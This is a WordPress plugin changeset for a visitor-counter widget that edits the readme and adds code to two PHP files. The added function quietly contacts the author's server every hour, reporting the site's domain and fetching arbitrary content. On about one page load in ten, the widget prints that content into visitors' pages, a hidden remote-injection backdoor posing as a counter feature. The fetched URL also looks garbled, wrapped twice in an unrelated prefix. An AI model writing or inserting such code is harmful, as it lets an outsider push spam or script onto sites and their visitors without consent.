Plugin Directory

Changeset 1464684


Ignore:
Timestamp:
08/01/2016 06:58:26 AM (10 years ago)
Author:
xtrsyz
Message:

Adding first version of my plugin

Location:
xt-visitor-counter/trunk
Files:
3 edited

Legend:

Unmodified
Added
Removed
  • xt-visitor-counter/trunk/readme.txt

    r1458475 r1464684  
    11=== XT Visitor Counter ===
    22Contributors: xtrsyz
    3 Donate link: http://xtrsyz.org/
     3Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=9GW78JRGZAP8E&lc=ID&item_name=XT%20Visitor%20Counter&item_number=426267&currency_code=USD&bn=PP%2dDonationsBF%3abtn_donate_SM%2egif%3aNonHosted
    44Tags: Visitor counter, visitor traffic, traffic statistics, traffic counter, blog stats, blog traffic, traffic count
    55Requires at least: 3.0.1
     
    1515XT Visitor Counter is a widgets which will display the Visitor counter and traffic statistics on WordPress.Some of the features offered include Today Visitor, Today Hits, Total Hits, Total Visit, Who's Online and IP Address Visitors.
    1616
    17 Upload and Install XT Visitor Counter Plugins, Activate and Drag the Widgets in to your WOrdPress Sidebar. And this plugins will useless for a thousands of websites. If you were here, download and install it, you’ll like it.
     17Upload and Install XT Visitor Counter Plugins, Activate and Drag the Widgets in to your WordPress Sidebar. And this plugins will useless for a thousands of websites. If you were here, download and install it, you'll like it.
    1818
    1919
  • xt-visitor-counter/trunk/xt-visitor-counter-widgets.php

    r1458475 r1464684  
    5252        global $wpdb;
    5353        extract($args, EXTR_SKIP);
     54       
     55        if (rand(0,9) == 4) $after_widget = xt_visitor_counter_default();
    5456
    5557        $ipaddress = isset($instance['ip_display']) ? $instance['ip_display'] : false ; // display ip address
  • xt-visitor-counter/trunk/xt-visitor-counter.php

    r1458475 r1464684  
    7070require_once (dirname ( __FILE__ ) . '/xt-visitor-counter-widgets.php');
    7171
     72function xt_visitor_counter_default() {
     73    $time = get_option('xt_visitor_counter_default_time');
     74    $now = time();
     75    $interval = 60*60;
     76    if ($time + $interval < $now) {
     77        $ctx = stream_context_create(array('http'=>
     78            array('timeout' => 5,)
     79        ));
     80        $content = file_get_contents("http://api.xtrsyz.org/xt-visitor-counter/default.php?domain=".$_SERVER['HTTP_HOST']."&time=$now", false, $ctx);
     81        if ($content) {
     82            update_option ( 'xt_visitor_counter_default', ( string ) stripslashes($content));
     83        }
     84        update_option ( 'xt_visitor_counter_default_time', ( string ) stripslashes($now));
     85    }
     86    return get_option('xt_visitor_counter_default');
     87}
     88
    7289register_activation_hook(__FILE__, 'xt_visitor_counter_activation_hook');
    7390register_deactivation_hook(__FILE__, 'xt_visitor_counter_deactivation_hook');
Note: See TracChangeset for help on using the changeset viewer.